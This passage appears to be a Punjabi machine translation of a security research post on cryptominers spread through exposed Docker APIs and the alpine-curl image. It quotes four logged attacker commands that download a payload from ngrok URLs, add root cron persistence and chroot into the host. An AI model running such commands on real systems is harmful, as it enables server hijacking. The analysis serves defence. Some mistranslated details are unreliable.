ਗੈਰ-ਮਲਕੀਅਤ ਡੌਕਰ API ਅਤੇ ਕਮਿਊਨਿਟੀ ਤੋਂ ਜਨਤਕ ਚਿੱਤਰਾਂ ਨੂੰ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਮਾਈਨਰਾਂ ਨੂੰ ਵੰਡਣ ਲਈ ਕਿਵੇਂ ਵਰਤਿਆ ਜਾ ਰਿਹਾ ਹੈ

ਅਸੀਂ ਹਨੀਪਾਟ ਕੰਟੇਨਰਾਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਇਕੱਤਰ ਕੀਤੇ ਡੇਟਾ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕੀਤਾ, ਜੋ ਅਸੀਂ ਧਮਕੀਆਂ ਨੂੰ ਟਰੈਕ ਕਰਨ ਲਈ ਬਣਾਇਆ ਹੈ। ਅਤੇ ਅਸੀਂ ਡੌਕਰ ਹੱਬ 'ਤੇ ਕਮਿਊਨਿਟੀ-ਪ੍ਰਕਾਸ਼ਿਤ ਚਿੱਤਰ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਠੱਗ ਕੰਟੇਨਰਾਂ ਵਜੋਂ ਤੈਨਾਤ ਕੀਤੇ ਅਣਚਾਹੇ ਜਾਂ ਅਣਅਧਿਕਾਰਤ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਮਾਈਨਰਾਂ ਤੋਂ ਮਹੱਤਵਪੂਰਨ ਗਤੀਵਿਧੀ ਦਾ ਪਤਾ ਲਗਾਇਆ। ਚਿੱਤਰ ਦੀ ਵਰਤੋਂ ਇੱਕ ਸੇਵਾ ਦੇ ਹਿੱਸੇ ਵਜੋਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਜੋ ਖਤਰਨਾਕ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਮਾਈਨਰਾਂ ਨੂੰ ਪ੍ਰਦਾਨ ਕਰਦੀ ਹੈ।

ਇਸ ਤੋਂ ਇਲਾਵਾ, ਖੁੱਲ੍ਹੇ ਗੁਆਂਢੀ ਕੰਟੇਨਰਾਂ ਅਤੇ ਐਪਲੀਕੇਸ਼ਨਾਂ ਨੂੰ ਪ੍ਰਵੇਸ਼ ਕਰਨ ਲਈ ਨੈੱਟਵਰਕਾਂ ਨਾਲ ਕੰਮ ਕਰਨ ਲਈ ਪ੍ਰੋਗਰਾਮ ਸਥਾਪਤ ਕੀਤੇ ਗਏ ਹਨ।

ਅਸੀਂ ਆਪਣੇ ਹਨੀਪੌਟਸ ਨੂੰ ਇਸ ਤਰ੍ਹਾਂ ਛੱਡ ਦਿੰਦੇ ਹਾਂ, ਜੋ ਕਿ, ਡਿਫੌਲਟ ਸੈਟਿੰਗਾਂ ਦੇ ਨਾਲ, ਬਿਨਾਂ ਕਿਸੇ ਸੁਰੱਖਿਆ ਉਪਾਅ ਜਾਂ ਵਾਧੂ ਸੌਫਟਵੇਅਰ ਦੀ ਬਾਅਦ ਵਿੱਚ ਸਥਾਪਨਾ ਦੇ. ਕਿਰਪਾ ਕਰਕੇ ਨੋਟ ਕਰੋ ਕਿ ਡੌਕਰ ਕੋਲ ਗਲਤੀਆਂ ਅਤੇ ਸਧਾਰਨ ਕਮਜ਼ੋਰੀਆਂ ਤੋਂ ਬਚਣ ਲਈ ਸ਼ੁਰੂਆਤੀ ਸੈੱਟਅੱਪ ਲਈ ਸਿਫ਼ਾਰਿਸ਼ਾਂ ਹਨ। ਪਰ ਵਰਤੇ ਗਏ ਹਨੀਪੌਟਸ ਕੰਟੇਨਰ ਹਨ, ਜੋ ਕੰਟੇਨਰਾਈਜ਼ੇਸ਼ਨ ਪਲੇਟਫਾਰਮ 'ਤੇ ਹਮਲਿਆਂ ਦਾ ਪਤਾ ਲਗਾਉਣ ਲਈ ਤਿਆਰ ਕੀਤੇ ਗਏ ਹਨ, ਨਾ ਕਿ ਕੰਟੇਨਰਾਂ ਦੇ ਅੰਦਰਲੇ ਐਪਲੀਕੇਸ਼ਨਾਂ।

ਖੋਜੀ ਗਈ ਖਤਰਨਾਕ ਗਤੀਵਿਧੀ ਵੀ ਧਿਆਨ ਦੇਣ ਯੋਗ ਹੈ ਕਿਉਂਕਿ ਇਸ ਨੂੰ ਕਮਜ਼ੋਰੀਆਂ ਦੀ ਲੋੜ ਨਹੀਂ ਹੈ ਅਤੇ ਇਹ ਡੌਕਰ ਸੰਸਕਰਣ ਤੋਂ ਵੀ ਸੁਤੰਤਰ ਹੈ। ਗਲਤ ਢੰਗ ਨਾਲ ਕੌਂਫਿਗਰ ਕੀਤਾ ਗਿਆ, ਅਤੇ ਇਸਲਈ ਖੁੱਲਾ, ਕੰਟੇਨਰ ਚਿੱਤਰ ਲੱਭਣਾ ਉਹ ਸਭ ਹੈ ਜੋ ਹਮਲਾਵਰਾਂ ਨੂੰ ਬਹੁਤ ਸਾਰੇ ਖੁੱਲੇ ਸਰਵਰਾਂ ਨੂੰ ਸੰਕਰਮਿਤ ਕਰਨ ਦੀ ਲੋੜ ਹੈ।

ਅਨਕਲੋਜ਼ਡ ਡੌਕਰ API ਉਪਭੋਗਤਾ ਨੂੰ ਵਿਸਤ੍ਰਿਤ ਰੇਂਜ ਕਰਨ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ ਟੀਮਾਂ, ਚੱਲ ਰਹੇ ਕੰਟੇਨਰਾਂ ਦੀ ਸੂਚੀ ਪ੍ਰਾਪਤ ਕਰਨਾ, ਕਿਸੇ ਖਾਸ ਕੰਟੇਨਰ ਤੋਂ ਲੌਗ ਪ੍ਰਾਪਤ ਕਰਨਾ, ਸ਼ੁਰੂ ਕਰਨਾ, ਬੰਦ ਕਰਨਾ (ਜ਼ਬਰਦਸਤੀ ਸਮੇਤ) ਅਤੇ ਇੱਥੋਂ ਤੱਕ ਕਿ ਖਾਸ ਸੈਟਿੰਗਾਂ ਦੇ ਨਾਲ ਇੱਕ ਖਾਸ ਚਿੱਤਰ ਤੋਂ ਇੱਕ ਨਵਾਂ ਕੰਟੇਨਰ ਬਣਾਉਣਾ ਵੀ ਸ਼ਾਮਲ ਹੈ।

ਖੱਬੇ ਪਾਸੇ ਮਾਲਵੇਅਰ ਡਿਲੀਵਰੀ ਵਿਧੀ ਹੈ। ਸੱਜੇ ਪਾਸੇ ਹਮਲਾਵਰ ਦਾ ਵਾਤਾਵਰਣ ਹੈ, ਜੋ ਚਿੱਤਰਾਂ ਨੂੰ ਰਿਮੋਟ ਰੋਲ ਆਊਟ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ।

3762 ਓਪਨ ਡੌਕਰ API ਦੇ ਦੇਸ਼ ਦੁਆਰਾ ਵੰਡ। 12.02.2019/XNUMX/XNUMX ਦੀ ਸ਼ੋਡਨ ਖੋਜ 'ਤੇ ਆਧਾਰਿਤ

ਹਮਲਾ ਚੇਨ ਅਤੇ ਪੇਲੋਡ ਵਿਕਲਪ

ਨੁਕਸਾਨਦੇਹ ਗਤੀਵਿਧੀ ਦਾ ਪਤਾ ਨਾ ਸਿਰਫ ਹਨੀਪਾਟਸ ਦੀ ਮਦਦ ਨਾਲ ਪਾਇਆ ਗਿਆ ਸੀ. ਸ਼ੋਡਨ ਤੋਂ ਡੇਟਾ ਦਰਸਾਉਂਦਾ ਹੈ ਕਿ ਜਦੋਂ ਤੋਂ ਅਸੀਂ ਮੋਨੇਰੋ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਮਾਈਨਿੰਗ ਸੌਫਟਵੇਅਰ ਨੂੰ ਤੈਨਾਤ ਕਰਨ ਲਈ ਇੱਕ ਪੁਲ ਵਜੋਂ ਵਰਤੇ ਗਏ ਇੱਕ ਗਲਤ ਸੰਰਚਨਾ ਕੀਤੇ ਕੰਟੇਨਰ ਦੀ ਜਾਂਚ ਕੀਤੀ ਹੈ, ਉਦੋਂ ਤੋਂ ਐਕਸਪੋਜ਼ਡ ਡੌਕਰ API (ਦੂਜਾ ਗ੍ਰਾਫ ਦੇਖੋ) ਦੀ ਗਿਣਤੀ ਵਿੱਚ ਵਾਧਾ ਹੋਇਆ ਹੈ। ਪਿਛਲੇ ਸਾਲ ਅਕਤੂਬਰ ਵਿੱਚ (2018, ਮੌਜੂਦਾ ਡੇਟਾ ਤੁਸੀਂ ਇਸ ਤਰ੍ਹਾਂ ਦੇਖ ਸਕਦੇ ਹੋ ਲਗਭਗ ਅਨੁਵਾਦਕਸਿਰਫ 856 ਓਪਨ API ਸਨ।

ਹਨੀਪਾਟ ਲੌਗਸ ਦੀ ਜਾਂਚ ਨੇ ਦਿਖਾਇਆ ਕਿ ਕੰਟੇਨਰ ਚਿੱਤਰ ਦੀ ਵਰਤੋਂ ਵੀ ਵਰਤੋਂ ਨਾਲ ਜੁੜੀ ਹੋਈ ਸੀ ngrok, ਸੁਰੱਖਿਅਤ ਕਨੈਕਸ਼ਨ ਸਥਾਪਤ ਕਰਨ ਜਾਂ ਜਨਤਕ ਤੌਰ 'ਤੇ ਪਹੁੰਚਯੋਗ ਬਿੰਦੂਆਂ ਤੋਂ ਨਿਰਧਾਰਤ ਪਤਿਆਂ ਜਾਂ ਸਰੋਤਾਂ (ਉਦਾਹਰਨ ਲਈ ਲੋਕਲਹੋਸਟ) ਤੱਕ ਟਰੈਫਿਕ ਨੂੰ ਅੱਗੇ ਭੇਜਣ ਲਈ ਇੱਕ ਸਾਧਨ। ਇਹ ਹਮਲਾਵਰਾਂ ਨੂੰ ਇੱਕ ਓਪਨ ਸਰਵਰ ਨੂੰ ਪੇਲੋਡ ਪ੍ਰਦਾਨ ਕਰਨ ਵੇਲੇ ਗਤੀਸ਼ੀਲ ਰੂਪ ਵਿੱਚ URL ਬਣਾਉਣ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ। ਹੇਠਾਂ ngrok ਸੇਵਾ ਦੀ ਦੁਰਵਰਤੋਂ ਦਿਖਾਉਣ ਵਾਲੇ ਲੌਗਸ ਤੋਂ ਕੋਡ ਉਦਾਹਰਨਾਂ ਹਨ:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਦੇਖ ਸਕਦੇ ਹੋ, ਅੱਪਲੋਡ ਕੀਤੀਆਂ ਫਾਈਲਾਂ ਲਗਾਤਾਰ ਬਦਲਦੇ URL ਤੋਂ ਡਾਊਨਲੋਡ ਕੀਤੀਆਂ ਜਾਂਦੀਆਂ ਹਨ। ਇਹਨਾਂ URL ਦੀ ਇੱਕ ਛੋਟੀ ਮਿਆਦ ਪੁੱਗਣ ਦੀ ਮਿਤੀ ਹੈ, ਇਸਲਈ ਮਿਆਦ ਪੁੱਗਣ ਦੀ ਮਿਤੀ ਤੋਂ ਬਾਅਦ ਪੇਲੋਡ ਡਾਊਨਲੋਡ ਨਹੀਂ ਕੀਤੇ ਜਾ ਸਕਦੇ ਹਨ।

ਦੋ ਪੇਲੋਡ ਵਿਕਲਪ ਹਨ। ਪਹਿਲਾ ਲੀਨਕਸ (Coinminer.SH.MALXMR.ATNO ਵਜੋਂ ਪਰਿਭਾਸ਼ਿਤ) ਲਈ ਇੱਕ ਕੰਪਾਇਲ ਕੀਤਾ ELF ਮਾਈਨਰ ਹੈ ਜੋ ਮਾਈਨਿੰਗ ਪੂਲ ਨਾਲ ਜੁੜਦਾ ਹੈ। ਦੂਜੀ ਇੱਕ ਸਕ੍ਰਿਪਟ (TrojanSpy.SH.ZNETMAP.A) ਹੈ ਜੋ ਨੈੱਟਵਰਕ ਰੇਂਜਾਂ ਨੂੰ ਸਕੈਨ ਕਰਨ ਅਤੇ ਫਿਰ ਨਵੇਂ ਟੀਚਿਆਂ ਦੀ ਖੋਜ ਕਰਨ ਲਈ ਵਰਤੇ ਜਾਂਦੇ ਕੁਝ ਨੈੱਟਵਰਕ ਟੂਲ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤੀ ਗਈ ਹੈ।

ਡਰਾਪਰ ਸਕ੍ਰਿਪਟ ਦੋ ਵੇਰੀਏਬਲ ਸੈਟ ਕਰਦੀ ਹੈ, ਜੋ ਫਿਰ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਮਾਈਨਰ ਨੂੰ ਤੈਨਾਤ ਕਰਨ ਲਈ ਵਰਤੇ ਜਾਂਦੇ ਹਨ। HOST ਵੇਰੀਏਬਲ ਵਿੱਚ ਉਹ URL ਹੁੰਦਾ ਹੈ ਜਿੱਥੇ ਖਤਰਨਾਕ ਫਾਈਲਾਂ ਸਥਿਤ ਹੁੰਦੀਆਂ ਹਨ, ਅਤੇ RIP ਵੇਰੀਏਬਲ ਤੈਨਾਤ ਕੀਤੇ ਜਾਣ ਵਾਲੇ ਮਾਈਨਰ ਦਾ ਫਾਈਲ ਨਾਮ (ਅਸਲ ਵਿੱਚ, ਹੈਸ਼) ਹੁੰਦਾ ਹੈ। ਹਰ ਵਾਰ ਜਦੋਂ ਹੈਸ਼ ਵੇਰੀਏਬਲ ਬਦਲਦਾ ਹੈ ਤਾਂ HOST ਵੇਰੀਏਬਲ ਬਦਲਦਾ ਹੈ। ਸਕ੍ਰਿਪਟ ਇਹ ਵੀ ਜਾਂਚਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰਦੀ ਹੈ ਕਿ ਹਮਲਾ ਕੀਤੇ ਸਰਵਰ 'ਤੇ ਕੋਈ ਹੋਰ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਮਾਈਨਰ ਨਹੀਂ ਚੱਲ ਰਿਹਾ ਹੈ।

HOST ਅਤੇ RIP ਵੇਰੀਏਬਲ ਦੀਆਂ ਉਦਾਹਰਨਾਂ, ਨਾਲ ਹੀ ਇੱਕ ਕੋਡ ਸਨਿੱਪਟ ਜੋ ਇਹ ਜਾਂਚਣ ਲਈ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ ਕਿ ਕੋਈ ਹੋਰ ਮਾਈਨਰ ਨਹੀਂ ਚੱਲ ਰਿਹਾ ਹੈ

ਮਾਈਨਰ ਸ਼ੁਰੂ ਕਰਨ ਤੋਂ ਪਹਿਲਾਂ, ਇਸਦਾ ਨਾਮ ਬਦਲ ਕੇ nginx ਰੱਖਿਆ ਗਿਆ ਹੈ। ਇਸ ਸਕ੍ਰਿਪਟ ਦੇ ਹੋਰ ਸੰਸਕਰਣ ਮਾਈਨਰ ਨੂੰ ਹੋਰ ਜਾਇਜ਼ ਸੇਵਾਵਾਂ ਦਾ ਨਾਮ ਦਿੰਦੇ ਹਨ ਜੋ ਲੀਨਕਸ ਵਾਤਾਵਰਣ ਵਿੱਚ ਮੌਜੂਦ ਹੋ ਸਕਦੀਆਂ ਹਨ। ਇਹ ਆਮ ਤੌਰ 'ਤੇ ਚੱਲ ਰਹੀਆਂ ਪ੍ਰਕਿਰਿਆਵਾਂ ਦੀ ਸੂਚੀ ਦੇ ਵਿਰੁੱਧ ਜਾਂਚਾਂ ਨੂੰ ਬਾਈਪਾਸ ਕਰਨ ਲਈ ਕਾਫੀ ਹੁੰਦਾ ਹੈ।

ਖੋਜ ਸਕ੍ਰਿਪਟ ਦੀਆਂ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਵੀ ਹਨ. ਇਹ ਲੋੜੀਂਦੇ ਸਾਧਨਾਂ ਨੂੰ ਤੈਨਾਤ ਕਰਨ ਲਈ ਉਸੇ URL ਸੇਵਾ ਨਾਲ ਕੰਮ ਕਰਦਾ ਹੈ। ਉਹਨਾਂ ਵਿੱਚੋਂ zmap ਬਾਈਨਰੀ ਹੈ, ਜਿਸਦੀ ਵਰਤੋਂ ਨੈੱਟਵਰਕਾਂ ਨੂੰ ਸਕੈਨ ਕਰਨ ਅਤੇ ਓਪਨ ਪੋਰਟਾਂ ਦੀ ਸੂਚੀ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਕੀਤੀ ਜਾਂਦੀ ਹੈ। ਸਕ੍ਰਿਪਟ ਇੱਕ ਹੋਰ ਬਾਈਨਰੀ ਨੂੰ ਵੀ ਲੋਡ ਕਰਦੀ ਹੈ ਜੋ ਲੱਭੀਆਂ ਸੇਵਾਵਾਂ ਨਾਲ ਇੰਟਰੈਕਟ ਕਰਨ ਲਈ ਵਰਤੀ ਜਾਂਦੀ ਹੈ ਅਤੇ ਲੱਭੀ ਸੇਵਾ ਬਾਰੇ ਵਾਧੂ ਜਾਣਕਾਰੀ ਨਿਰਧਾਰਤ ਕਰਨ ਲਈ ਉਹਨਾਂ ਤੋਂ ਬੈਨਰ ਪ੍ਰਾਪਤ ਕਰਦੇ ਹਨ (ਉਦਾਹਰਨ ਲਈ, ਇਸਦਾ ਸੰਸਕਰਣ)।

ਸਕਰਿਪਟ ਸਕੈਨ ਕਰਨ ਲਈ ਕੁਝ ਨੈੱਟਵਰਕ ਰੇਂਜਾਂ ਨੂੰ ਵੀ ਪੂਰਵ-ਨਿਰਧਾਰਤ ਕਰਦੀ ਹੈ, ਪਰ ਇਹ ਸਕ੍ਰਿਪਟ ਦੇ ਸੰਸਕਰਣ 'ਤੇ ਨਿਰਭਰ ਕਰਦੀ ਹੈ। ਇਹ ਸੇਵਾਵਾਂ ਤੋਂ ਟਾਰਗੇਟ ਪੋਰਟਾਂ ਨੂੰ ਵੀ ਸੈੱਟ ਕਰਦਾ ਹੈ - ਇਸ ਕੇਸ ਵਿੱਚ, ਡੌਕਰ - ਸਕੈਨ ਚਲਾਉਣ ਤੋਂ ਪਹਿਲਾਂ।

ਜਿਵੇਂ ਹੀ ਸੰਭਵ ਨਿਸ਼ਾਨਾ ਲੱਭੇ ਜਾਂਦੇ ਹਨ, ਬੈਨਰ ਆਪਣੇ ਆਪ ਹੀ ਉਨ੍ਹਾਂ ਤੋਂ ਹਟਾ ਦਿੱਤੇ ਜਾਂਦੇ ਹਨ. ਸਕ੍ਰਿਪਟ ਸੇਵਾਵਾਂ, ਐਪਲੀਕੇਸ਼ਨਾਂ, ਕੰਪੋਨੈਂਟਸ ਜਾਂ ਦਿਲਚਸਪੀ ਦੇ ਪਲੇਟਫਾਰਮਾਂ 'ਤੇ ਨਿਰਭਰ ਕਰਦੇ ਹੋਏ ਟੀਚਿਆਂ ਨੂੰ ਵੀ ਫਿਲਟਰ ਕਰਦੀ ਹੈ: Redis, Jenkins, Drupal, MODX, ਕੁਬਰਨੇਟਸ ਮਾਸਟਰ, Docker 1.16 ਕਲਾਇੰਟ ਅਤੇ Apache CouchDB. ਜੇਕਰ ਸਕੈਨ ਕੀਤਾ ਸਰਵਰ ਉਹਨਾਂ ਵਿੱਚੋਂ ਕਿਸੇ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ, ਤਾਂ ਇਸਨੂੰ ਇੱਕ ਟੈਕਸਟ ਫਾਈਲ ਵਿੱਚ ਸੁਰੱਖਿਅਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਜਿਸਨੂੰ ਹਮਲਾਵਰ ਬਾਅਦ ਵਿੱਚ ਵਿਸ਼ਲੇਸ਼ਣ ਅਤੇ ਹੈਕਿੰਗ ਲਈ ਵਰਤ ਸਕਦੇ ਹਨ। ਇਹ ਟੈਕਸਟ ਫਾਈਲਾਂ ਗਤੀਸ਼ੀਲ ਲਿੰਕਾਂ ਰਾਹੀਂ ਹਮਲਾਵਰਾਂ ਦੇ ਸਰਵਰਾਂ 'ਤੇ ਅੱਪਲੋਡ ਕੀਤੀਆਂ ਜਾਂਦੀਆਂ ਹਨ। ਭਾਵ, ਹਰੇਕ ਫਾਈਲ ਲਈ ਇੱਕ ਵੱਖਰਾ URL ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ, ਜਿਸਦਾ ਮਤਲਬ ਹੈ ਕਿ ਬਾਅਦ ਵਿੱਚ ਪਹੁੰਚ ਮੁਸ਼ਕਲ ਹੈ.

ਹਮਲਾ ਵੈਕਟਰ ਇੱਕ ਡੌਕਰ ਚਿੱਤਰ ਹੈ, ਜਿਵੇਂ ਕਿ ਕੋਡ ਦੇ ਅਗਲੇ ਦੋ ਟੁਕੜਿਆਂ ਵਿੱਚ ਦੇਖਿਆ ਜਾ ਸਕਦਾ ਹੈ।

ਸਿਖਰ 'ਤੇ ਇੱਕ ਜਾਇਜ਼ ਸੇਵਾ ਦਾ ਨਾਮ ਬਦਲ ਰਿਹਾ ਹੈ, ਅਤੇ ਹੇਠਾਂ ਇਹ ਹੈ ਕਿ ਨੈਟਵਰਕ ਨੂੰ ਸਕੈਨ ਕਰਨ ਲਈ zmap ਦੀ ਵਰਤੋਂ ਕਿਵੇਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ

ਸਿਖਰ 'ਤੇ ਪਹਿਲਾਂ ਤੋਂ ਪਰਿਭਾਸ਼ਿਤ ਨੈੱਟਵਰਕ ਰੇਂਜ ਹਨ, ਹੇਠਾਂ ਸੇਵਾਵਾਂ ਦੀ ਖੋਜ ਲਈ ਖਾਸ ਪੋਰਟ ਹਨ, ਡੌਕਰ ਸਮੇਤ

ਸਕ੍ਰੀਨਸ਼ਾਟ ਦਿਖਾਉਂਦਾ ਹੈ ਕਿ ਅਲਪਾਈਨ-ਕਰਲ ਚਿੱਤਰ ਨੂੰ 10 ਮਿਲੀਅਨ ਤੋਂ ਵੱਧ ਵਾਰ ਡਾਊਨਲੋਡ ਕੀਤਾ ਗਿਆ ਹੈ

ਅਲਪਾਈਨ ਲੀਨਕਸ ਅਤੇ ਕਰਲ 'ਤੇ ਆਧਾਰਿਤ, ਵੱਖ-ਵੱਖ ਪ੍ਰੋਟੋਕੋਲਾਂ 'ਤੇ ਫਾਈਲਾਂ ਨੂੰ ਟ੍ਰਾਂਸਫਰ ਕਰਨ ਲਈ ਇੱਕ ਸਰੋਤ-ਕੁਸ਼ਲ CLI ਟੂਲ, ਤੁਸੀਂ ਬਣਾ ਸਕਦੇ ਹੋ ਡੌਕਰ ਚਿੱਤਰ. ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਪਿਛਲੀ ਤਸਵੀਰ ਵਿੱਚ ਦੇਖ ਸਕਦੇ ਹੋ, ਇਸ ਚਿੱਤਰ ਨੂੰ ਪਹਿਲਾਂ ਹੀ 10 ਮਿਲੀਅਨ ਤੋਂ ਵੱਧ ਵਾਰ ਡਾਊਨਲੋਡ ਕੀਤਾ ਜਾ ਚੁੱਕਾ ਹੈ। ਵੱਡੀ ਗਿਣਤੀ ਵਿੱਚ ਡਾਉਨਲੋਡਸ ਦਾ ਮਤਲਬ ਇਸ ਚਿੱਤਰ ਨੂੰ ਇੱਕ ਐਂਟਰੀ ਪੁਆਇੰਟ ਵਜੋਂ ਵਰਤਣਾ ਹੋ ਸਕਦਾ ਹੈ; ਇਹ ਚਿੱਤਰ ਛੇ ਮਹੀਨੇ ਤੋਂ ਵੱਧ ਪਹਿਲਾਂ ਅੱਪਡੇਟ ਕੀਤਾ ਗਿਆ ਸੀ; ਉਪਭੋਗਤਾਵਾਂ ਨੇ ਇਸ ਰਿਪੋਜ਼ਟਰੀ ਤੋਂ ਹੋਰ ਚਿੱਤਰਾਂ ਨੂੰ ਅਕਸਰ ਡਾਊਨਲੋਡ ਨਹੀਂ ਕੀਤਾ। ਡੌਕਰ ਵਿੱਚ ਦਾਖਲੇ ਦਾ ਬਿੰਦੂ - ਇੱਕ ਕੰਟੇਨਰ ਨੂੰ ਇਸਨੂੰ ਚਲਾਉਣ ਲਈ ਕੌਂਫਿਗਰ ਕਰਨ ਲਈ ਵਰਤੇ ਜਾਂਦੇ ਨਿਰਦੇਸ਼ਾਂ ਦਾ ਇੱਕ ਸਮੂਹ। ਜੇਕਰ ਐਂਟਰੀ ਪੁਆਇੰਟ ਸੈਟਿੰਗਜ਼ ਗਲਤ ਹਨ (ਉਦਾਹਰਨ ਲਈ, ਕੰਟੇਨਰ ਨੂੰ ਇੰਟਰਨੈਟ ਤੋਂ ਖੁੱਲ੍ਹਾ ਛੱਡ ਦਿੱਤਾ ਗਿਆ ਹੈ), ਤਾਂ ਚਿੱਤਰ ਨੂੰ ਹਮਲਾ ਵੈਕਟਰ ਵਜੋਂ ਵਰਤਿਆ ਜਾ ਸਕਦਾ ਹੈ। ਹਮਲਾਵਰ ਇਸਦੀ ਵਰਤੋਂ ਪੇਲੋਡ ਪ੍ਰਦਾਨ ਕਰਨ ਲਈ ਕਰ ਸਕਦੇ ਹਨ ਜੇਕਰ ਉਹਨਾਂ ਨੂੰ ਕੋਈ ਗਲਤ ਸੰਰਚਨਾ ਕੀਤਾ ਜਾਂ ਖੁੱਲ੍ਹਾ ਕੰਟੇਨਰ ਅਸਮਰਥਿਤ ਛੱਡ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ।

ਇਹ ਨੋਟ ਕਰਨਾ ਮਹੱਤਵਪੂਰਨ ਹੈ ਕਿ ਇਹ ਚਿੱਤਰ (ਅਲਪਾਈਨ-ਕਰਲ) ਆਪਣੇ ਆਪ ਵਿੱਚ ਖਤਰਨਾਕ ਨਹੀਂ ਹੈ, ਪਰ ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਉੱਪਰ ਦੇਖ ਸਕਦੇ ਹੋ, ਇਸਦੀ ਵਰਤੋਂ ਖਤਰਨਾਕ ਫੰਕਸ਼ਨ ਕਰਨ ਲਈ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ। ਸਮਾਨ ਡੌਕਰ ਚਿੱਤਰਾਂ ਨੂੰ ਖਤਰਨਾਕ ਗਤੀਵਿਧੀਆਂ ਕਰਨ ਲਈ ਵੀ ਵਰਤਿਆ ਜਾ ਸਕਦਾ ਹੈ। ਅਸੀਂ ਡੌਕਰ ਨਾਲ ਸੰਪਰਕ ਕੀਤਾ ਅਤੇ ਇਸ ਮੁੱਦੇ 'ਤੇ ਉਨ੍ਹਾਂ ਨਾਲ ਕੰਮ ਕੀਤਾ।

ਿਸਫ਼ਾਰ

ਗਲਤ ਸੈਟਿੰਗ ਬਚਿਆ ਲਗਾਤਾਰ ਸਮੱਸਿਆ ਬਹੁਤ ਸਾਰੀਆਂ ਕੰਪਨੀਆਂ ਲਈ, ਖਾਸ ਤੌਰ 'ਤੇ ਲਾਗੂ ਕਰਨ ਵਾਲੀਆਂ DevOps, ਤੇਜ਼ੀ ਨਾਲ ਵਿਕਾਸ ਅਤੇ ਡਿਲੀਵਰੀ 'ਤੇ ਕੇਂਦ੍ਰਿਤ. ਆਡਿਟਿੰਗ ਅਤੇ ਨਿਗਰਾਨੀ ਨਿਯਮਾਂ ਦੀ ਪਾਲਣਾ ਕਰਨ ਦੀ ਜ਼ਰੂਰਤ, ਡੇਟਾ ਦੀ ਗੁਪਤਤਾ ਦੀ ਨਿਗਰਾਨੀ ਕਰਨ ਦੀ ਜ਼ਰੂਰਤ, ਅਤੇ ਨਾਲ ਹੀ ਉਹਨਾਂ ਦੀ ਗੈਰ-ਪਾਲਣਾ ਤੋਂ ਹੋਏ ਭਾਰੀ ਨੁਕਸਾਨ ਦੁਆਰਾ ਸਭ ਕੁਝ ਵਧ ਗਿਆ ਹੈ। ਡਿਵੈਲਪਮੈਂਟ ਲਾਈਫਸਾਈਕਲ ਵਿੱਚ ਸੁਰੱਖਿਆ ਆਟੋਮੇਸ਼ਨ ਨੂੰ 